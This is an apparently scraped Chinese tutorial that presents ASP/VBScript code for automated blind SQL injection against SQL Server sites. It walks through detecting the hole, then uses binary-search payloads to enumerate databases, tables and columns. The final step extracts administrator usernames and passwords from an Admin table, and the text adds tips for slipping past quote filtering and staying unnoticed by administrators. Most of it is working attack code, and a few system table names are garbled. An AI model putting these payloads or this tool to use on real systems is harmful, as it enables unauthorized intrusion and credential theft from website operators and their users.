看了SQL注入脚本后,笔者深受启发,不过美中不足的是文章中还有一些问题需要解决:
1.字典支持问题:如果字典信息不够全面,或者说字典中没有我们数据库中所具有的信息,如数据库表名,字段名,那我们的注入行动只是浪费时间而已,
自动探测SQL Server数据信息
。2.缺乏对汉字的支持:现在很多朋友都在使用汉字作为平时的密码和帐户,汉字的出现频率是非常高的。
3.Access版本,不支持SQL Server。
下面进入正题。本文的目的就是要实现SQL Server中所有的数据库名、表名、字段名以及表中的数据信息的自动探测,并重点阐述以下几个问题:
1. 如何快速判断SQL Server中的数据库的数量;
2. 如何快速判断特定数据库中数据表的数量;
3. 如何快速找出特定数据库中所有的数据表名称;
4. 如何快速找出特定数据表所有中的字段的数量及名称;
在以上的问题解决后,对数据表中所有数据信息的探测的问题就迎刃而解了,即使你想在本地重构远程SQL server数据库中信息,只要你有足够多的时间,答案也是OK的。
漏洞检测
原理我不多说了,我只是给出我的实现函数。顺便补充一点,本文是在ASP环境下,所有代码都通过ASP实现。我们先看一段主体代码,用来实现探测信息并确定是不是存在漏洞:
Function Find_Hole(iUrl)
dim turl,Body1,Body2,Body3,body4,Status1,Status2,Status3,status4
call xmlPost(iUrl,Status1, Body1)
turl=iUrl&"’"
call xmlPost(iUrl,Status2, Body2)
turl=iUrl&" and 1=1"
call xmlPost(tUrl,Status3, Body3)
turl=iUrl&" and 1<>1"
call xmlPost(tUrl,Status4, Body4)
if Status1<>500 and Status3<>500 and Status4=500 and Body1<>Body4 and Body3<>Body4 then
Find_Hole=true
else
Find_Hole=False
end if
End Function
Find_Hole(iUrl)函数用于判断测试地址是否存在注入漏洞,通过ByRef引用方式返回远程主机反馈的信息。其中body是远程主机的反馈信息,status是页面返回状态,你可以在程序中引用它们,并设计出自己的判断函数。
Find_Hole(iUrl) 函数中引用的两个函数如下:
Sub xmlPost(iUrl,ByRef Status, ByRef Body)
Dim xPost
On Error Resume Next
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.open "POST",iUrl,false
xPost.Send
Status = xPost.Status
Body = bytes2BSTR(xPost.responseBody)
Set xPost = Nothing
End Sub
Function bytes2BSTR(vIn)
‘这个函数可以实现中文的正常显示
dim strReturn,i, ThisCharCode, NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
判断数据库数量
这里我们需要利用数据表“master.dbo.sysdatabases”,实现函数如下:
Function Get_DB_Num()
dim DBMinNum,DBMaxNum
DBMinNum=5 ’SQL Server中数据库最小数目,由于前几个为系统数据库,所以这儿设置为5。
DBMaxNum=50 ’SQL Server中数据库最大数目。可自己更改。
CheckDBNum="and (select count(*) from master.dbo.sysdatabases)>[N]"
Get_DB_Num=Get_Len(iUrl&CheckDBNum,DBMinNum,DBMaxNum)
end function
下面重点介绍长度判断函数Get_len():
Function Get_Len(iUrl,minlen,maxlen)
’使用前提条件:存在注入漏洞
if ReturnOk(Replace(iUrl,"[N]",maxlen)) then Get_Len=-1 ’实际长度大于最大预设长度返回 -1。
exit function
end if
if not ReturnOk(Replace(iUrl,"[N]",minlen-1)) then Get_Len=-2 ’实际长度小于最小预设长度返回-2。
exit function
end if
if maxlen-minlen=1 then
if ReturnOk(Replace(iUrl,"[N]",(maxlen+minlen)/2)) then
Get_Len=maxlen
else
Get_Len=minlen
end if
exit function
end if
midlen=int((minlen+maxlen)/2)
if ReturnOk(Replace(iUrl,"[N]",Midlen)) then Get_len=Get_Len(iUrl,midlen,maxlen)
else
Get_len=Get_Len(iUrl,minlen,midlen)
end if
End Function
此函数使用折半算法,迅速缩小判断范围。在本文中使用非常广泛,只要构造出适当的查询条件,就会有意想不到的收获,如判断汉字的Unicode编码,在0-65535之间,只需要16次判断,就肯定能得到特定汉字的unicode码!
程序中的ReturnOk函数用来判断远程主机的返回状态,页面返回正常为真。其代码如下:
Function ReturnOK(iUrl)
dim iPost
On Error Resume Next
Set iPost = CreateObject("Microsoft.XMLHTTP")
iPost.open "POST",iUrl,false
iPost.Send
if iPost.Status<>500 then
ReturnOk=True
else
ReturnOk=False
end if
Set iPost = Nothing
End Function
其实ReturnOK函数就是上面的xmlPost过程的简化。你可以根据实际情况,编写自己的返回判断函数。
判断数据库名称
在“master.dbo.sysdatabases”表中dbid、name两个字段记录中SQL Server中的所有数据库名称信息。其中dbid的范围是1~数据库总数,name字段则记录了数据库名称信息。其实现函数如下:
Function Get_DBName(iUrl,dbid)
Dim MinLen ,MaxLen
MinLen=1 ’数据库名称最小长度。
MaxLen=50 ’数据库名称最大长度。
Get_DBName=GetFieldValue(iurl,"master.dbo.sysdatabases","name","dbid",dbid,MinLen ,MaxLen)
End Function
这儿利用了GetFieldValue函数,它可以得到给定数据表中特定ID值时某个字段的信息。注意:SQL中的字符处理函数与Access不同。请看下表:
Access SQL Server 说明
asc(字符) unicode(字符) 返回某字符的编码
chr(数字) nchar(数字) 与asc相反,根据数字编码返回字符
mid(字符串,N,L)
substring(字符串,N,L)
返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Get_Field_Name函数是信息获取的具体实现步骤的模拟,函数中用到了Get_Len(iUrl,0,65535)函数,由于SQL 中汉字用Unicode编码,其范围是[0-65535]。程序中用到汉字的猜解,见我的另外一篇文章《SQL自动注入中的汉字问题》一文,下面是详细的代码:
Function GetFieldValue(iUrl,TableName,FieldName,PrimaryKey,PKValue,minlen,maxlen)
’TableName是所要猜的表名。
’FieldName是所要猜的字段名。
’PrimaryKey主键名称。
’PKValue主键值。
dim checkLen,flen,checkfieldvalue
CheckLen=" and 1=(select count(*) from [TABLE] Where [IDN]=[ID] and Len([FN])>[N])"
CheckLen=Replace(CheckLen,"[TABLE]",TableName)
CheckLen=Replace(CheckLen,"[FN]",FieldName)
CheckLen=Replace(CheckLen,"[IDN]",PrimaryKey)
CheckLen=Replace(CheckLen,"[ID]",PKValue)
FLen=Get_Len(iUrl&CheckLen,minlen,maxlen)
CheckFieldValue=" and 1=(select count(*) from [TABLE] where [IDN]=[ID] and unicode(substring([FN],[POS],1))> [N])"
CheckFieldValue=Replace(CheckFieldValue,"[TABLE]",TableName)
CheckFieldValue=Replace(CheckFieldValue,"[FN]",FieldName)
CheckFieldValue=Replace(CheckFieldValue,"[IDN]",PrimaryKey)
CheckFieldValue=Replace(CheckFieldValue,"[ID]",PKValue)
GetFieldValue=Get_Field_Name(iUrl&CheckFieldValue,Flen)
end Function
Function Get_Field_Name(iUrl,Flen)
dim conn , i,rs,ch,SQL,result
result=""
set conn=GetConnection(server.MapPath("UnicodeMap.mdb"),"")
For i= 1 To Flen
ch= Get_Len(Replace(iUrl,"[POS]",i),0,65535)
SQL="select chr from GB18030 where DU="&ch
set rs=get_rs(conn,SQL,1)
if rs.recordcount=1 then
result=result&rs(0)
else
result=result&""&ch
end if
rs.close
set rs=nothing
Next
conn.close
set conn=nothing
Get_Field_Name=result
end Function
猜解特定数据库中数据表
这里利用库名“.dbo. dbo.sysobjects”,库名“.dbo. dbo.sysobjects”的数据表中有xtype、id、name 三个字段,
电脑资料
《自动探测SQL Server数据信息》(http://www.unjs.com)。通过指定查询条件xtype=’U’,可以得到用户数据表的数量。而要实现数据表名的猜解,我们可以利用id、name这两个字段,其中name字段中记录着我们最关心的数据表名。想要定位到数据表“库名.dbo. dbo.sysobjects”中的具体某个记录,我们只好通过id字段来实现。但是,由于id字段中的数值一般都比较大,动不动就上亿,如果通过列举每一个id值来判断,如果时间允许的话,肯定是可以实现的,只不过我没有这份耐心:试想,光判断一个id值就需要上亿次判断,需要一个小时?一天?一周?如果得到所有的信息,天知道要多久?反正我最新买的PⅣ2.8电脑,通过ADSL上网的方式是承受不了这样的时间的。所以现在我们首要的任务如何设计出有效的算法,快速定位id值。下面是我写的实现函数,个人觉得还不错,大家一起来看看:先假设我们要查询的ID在初始窗口中,如果不满足条件,数据窗口下限值修改为原窗口的上限值,窗口宽度增加一倍,即上限值增加原窗口宽度的两倍,然后在新窗口中查询;如果满足条件,数据窗口下限值不变,上限值减少原窗口宽度的一半,然后在新窗口中继续判断;如果判断条件设置正确,浮动窗口的宽度一定后收敛到1。然后两个ID中判断。选择其中一个ID判断,如果满足条件则找到这个ID值只是我们所要查询的结果,如果不满足,则为另外一个。
Function Get_Table_ID(iUrl,FID,EID,op1,op2)
’op1是当前状态。
’op2是上次操作状态。
’op1,op2,结果=1发现在[FID,EID]内存在,=0则不存在。
dim tUrl,diff,HD,DD
diff=EID-FID
if diff=1 then
tUrl=replace(iUrl,"[FID]",FID)
tUrl=replace(tUrl,"[EID]",EID)
if ReturnOK(tUrl) then
EID=FID
end if
Get_Table_ID=EID
exit Function
end if
HD=int(diff/2)
DD=diff*2
If op1=0 and op2=1 then
EID=EID-diff*3/4
DD=DD/8
end if
tUrl=replace(iUrl,"[FID]",FID)
tUrl=replace(tUrl,"[EID]",EID)
if ReturnOK(tUrl) then
Get_Table_ID=Get_Table_ID(iUrl,FID,FID+HD,1,op1)
else
Get_Table_ID=Get_Table_ID(iUrl,EID,EID+DD,0,op1)
end if
End Function
参数赋值:
FID=0 ‘检查ID范围窗口的下限初始值。
EID=FID+1048576 ‘检查ID范围窗口的上限初始值,1048576是初始检查窗口的宽度。
CheckTableID=" and (select count(*) from "&DBName&".dbo.sysobjects where xtype=’U’ and id>=[FID] and id<[EID] )>=1" ‘查询条件。
函数调用:
TableId=Get_Table_ID(iUr&CheckTableID,FID,EID,0,0)
下次调用,窗口的下限初始值设置为FID= Tableid+1
通过以上算法,我们就可以快速查到ID,对于数量级为亿的ID,一般通过30多次的判断,最多不超过40次,我们就可以得到满足条件的值了。相对于一个一个的枚举,现在你是不是用节省的时候去美美的睡一觉了呢?
得到了ID值,数据表名的获取就是一件轻松的事情了:
CheckTableNum=" and (select count(*) from "&DBName&".dbo.sysobjects where xtype=’U’ )>[N]"
TableNum=Get_Len(iUrl&CheckTableNum, TableMinNum,TableMaxNum)
TableName=GetFieldValue(iUrl,DBName&".dbo.sysobjects","name","id",Tableid,1,100)
猜解数据表所有字段
这里需要利用数据表“库名.dbo. dbo.columns”,“库名.dbo. dbo.columns”中三个关键字段分别是name、id和colid,其中“id”是数据表的ID值,刚才我们已经得到;“Colid”是字段的ID值,从1到最大字段数量;“Name”就是我们的目标了。
有了探测数据库名称、数据表名称的经验,下面所有的事情都变得非常简单。先来看字段数量的获取:
CheckColumnNum=" and (select count(*) from "&DBName&".dbo.syscolumns where id="&TableId&" )>[N]"
ColumnNum=Get_Len(iUrl&CheckColumnNum, 0,1000)
在这儿,我们不能再通过GetFieldValue函数去探测字段名称,这是因为查询条件发生了变化。在探测数据库名称、数据表名称的时候都是一个限定条件就可以查出唯一结果,但现在的情况是要通过id、colid两个限定条件才能唯一确定字段的名称。
其实字段名称探测的实现函数的原理跟探测数据库名称、数据表名称的时候一样,在此就不列举了。
获取数据库中敏感信息
经过以上的探测,数据库整个框架结构已经摆在你的面前了,下面我们要做的就是收集我们所感兴趣的信息。对什么信息感兴趣?别问我,那可是你的事情。如果你对所有的数据都有好奇心,恭喜你,你是可以做到的,不过前提条件是你有足够多的时间,而且系统管理员在这段时间里没有察觉你的探测行为。你所花费的时间就是一次探测所花费的时间*16(单个字符包括汉字探测的次数)*你所获取的信息的字符个数。慢慢等着吧!不过我没有这个闲情逸致。[Admin]表中id、username、password是我的兴趣所在,猜咯:
CheckDataNum=" and (select count(*) from "&DBName&".dbo.Admin )>[N]"
UserNum=Get_Len(iUrl&CheckDataNum, 0,100)
UserName=GetFieldValue(iUrl,DBName&".dbo.Admin","username","id",userid,1,100)
Password=GetFieldValue(iUrl,DBName&".dbo.Admin","password","id",userid,1,100)
至于userid的获取,可以通过上面所介绍的数据表ID的获取办法来实现。
CheckUserID=" and (select count(*) from "&DBName&".dbo.Admin where id>=[FID] and id<[EID] )>=1" ‘查询条件Userid=Get_Table_ID(iUr&CheckUserID,FID,EID,0,0)
至此,我的任务已经完成,剩下的事情,大家去发挥吧。
小结
1. 对某个数据库数据信息的探测,有一个重要的前提:当前数据连接用户必须拥有对该数据库访问的权限。如果没有,就不用浪费时间了。
2. 如果程序过滤了单引号,将查询条件中的xtype=’U’修改为xtype= char(85)后可以继续工作。
3. 如果探测的数据量很大,可能花费的时间就很长。为避免脚本执行超时,请在程序开始部分将Server.ScriptTimeOut的值设置大一点。为了下次能接着以前的结果注入下去,可以在程序中写个日志处理函数,将探测结果记录下来,保存在文件或数据库中,避免不必要的重复工作。在我的程序源码中充分体现了这一点。